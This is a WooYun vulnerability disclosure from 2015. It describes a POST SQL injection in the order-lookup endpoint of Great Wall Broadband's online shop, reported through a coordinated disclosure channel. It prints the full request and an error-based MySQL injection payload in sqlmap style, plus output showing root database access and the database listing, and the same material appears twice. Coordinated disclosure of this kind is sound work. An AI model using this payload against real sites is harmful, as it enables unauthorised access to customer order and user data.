当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140212

漏洞标题:宽带安全之长城宽带商城post注入漏洞(root权限/含order和user表)

相关厂商:长城宽带

漏洞作者: 牛 小 帅

提交时间:2015-09-12 16:02

修复时间:2015-10-29 23:16

公开时间:2015-10-29 23:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-12: 细节已通知厂商并且等待厂商处理中
2015-09-14: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-24: 细节向核心白帽子及相关领域专家公开
2015-10-04: 细节向普通白帽子公开
2015-10-14: 细节向实习白帽子公开
2015-10-29: 细节向公众公开

简要描述:

2333333

详细说明:

1、订单查询处有注入
http://**.**.**.**/member/ckOrderInfo.action
2、post包

POST /member/ckOrderInfo.action HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/member/ckOrderInfo.action
Cookie: JSESSIONID=4C19D49E29EEBE2336574D8A27880D32.momoko1; CNZZDATA1253102899=900516791-1441867246-http%253A%252F%252F**.**.**.**%252F%7C1441867246; goodsView="103,103,100"
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
memberId=445&loginId=abc888999&orderNo=1&ctx=&basePath=http%3A%2F%2F**.**.**.**%3A80&pageNo=1


3、数据
root权限

Place: POST
Parameter: orderNo
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: memberId=445&loginId=abc888999&orderNo=1' AND (SELECT 9583 FROM(SEL
ECT COUNT(*),CONCAT(0x3a6c70623a,(SELECT (CASE WHEN (9583=9583) THEN 1 ELSE 0 EN
D)),0x3a7577683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
BY x)a) AND 'fcRJ'='fcRJ&ctx=&basePath=http://**.**.**.**:80&pageNo=1
---
[14:51:07] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.19
back-end DBMS: MySQL 5.0
[14:51:07] [INFO] fetching current user
[14:51:08] [INFO] retrieved: root@%
current user: 'root@%'


5个数据库121个表

available databases [5]:
[*] information_schema
[*] momoko3
[*] mysql
[*] performance_schema
[*] test


敏感的不贴

Database: performance_schema
[17 tables]


Database: momoko3
[43 tables]


Database: information_schema
[37 tables]


Database: mysql
[24 tables]


含order、user、master、columns等敏感表段

%ZI%)11EO)`1ZE4IX%[GG{K.png


MKFF%E4{0@MVK`OEW}I_[M3.png


OLNT$]LZRTAM2P89G8(MUWN.png


漏洞证明:

1、订单查询处有注入
http://**.**.**.**/member/ckOrderInfo.action
2、post包

POST /member/ckOrderInfo.action HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/member/ckOrderInfo.action
Cookie: JSESSIONID=4C19D49E29EEBE2336574D8A27880D32.momoko1; CNZZDATA1253102899=900516791-1441867246-http%253A%252F%252F**.**.**.**%252F%7C1441867246; goodsView="103,103,100"
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
memberId=445&loginId=abc888999&orderNo=1&ctx=&basePath=http%3A%2F%2F**.**.**.**%3A80&pageNo=1


3、数据
root权限

Place: POST
Parameter: orderNo
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: memberId=445&loginId=abc888999&orderNo=1' AND (SELECT 9583 FROM(SEL
ECT COUNT(*),CONCAT(0x3a6c70623a,(SELECT (CASE WHEN (9583=9583) THEN 1 ELSE 0 EN
D)),0x3a7577683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
BY x)a) AND 'fcRJ'='fcRJ&ctx=&basePath=http://**.**.**.**:80&pageNo=1
---
[14:51:07] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.19
back-end DBMS: MySQL 5.0
[14:51:07] [INFO] fetching current user
[14:51:08] [INFO] retrieved: root@%
current user: 'root@%'


5个数据库121个表

available databases [5]:
[*] information_schema
[*] momoko3
[*] mysql
[*] performance_schema
[*] test


敏感的不贴

Database: performance_schema
[17 tables]


Database: momoko3
[43 tables]


Database: information_schema
[37 tables]


Database: mysql
[24 tables]


含order、user、master、columns等敏感表段

%ZI%)11EO)`1ZE4IX%[GG{K.png


MKFF%E4{0@MVK`OEW}I_[M3.png


OLNT$]LZRTAM2P89G8(MUWN.png


修复方案:

版权声明:转载请注明来源 牛 小 帅@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-14 23:14

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向网站管理单位通报。

最新状态:

暂无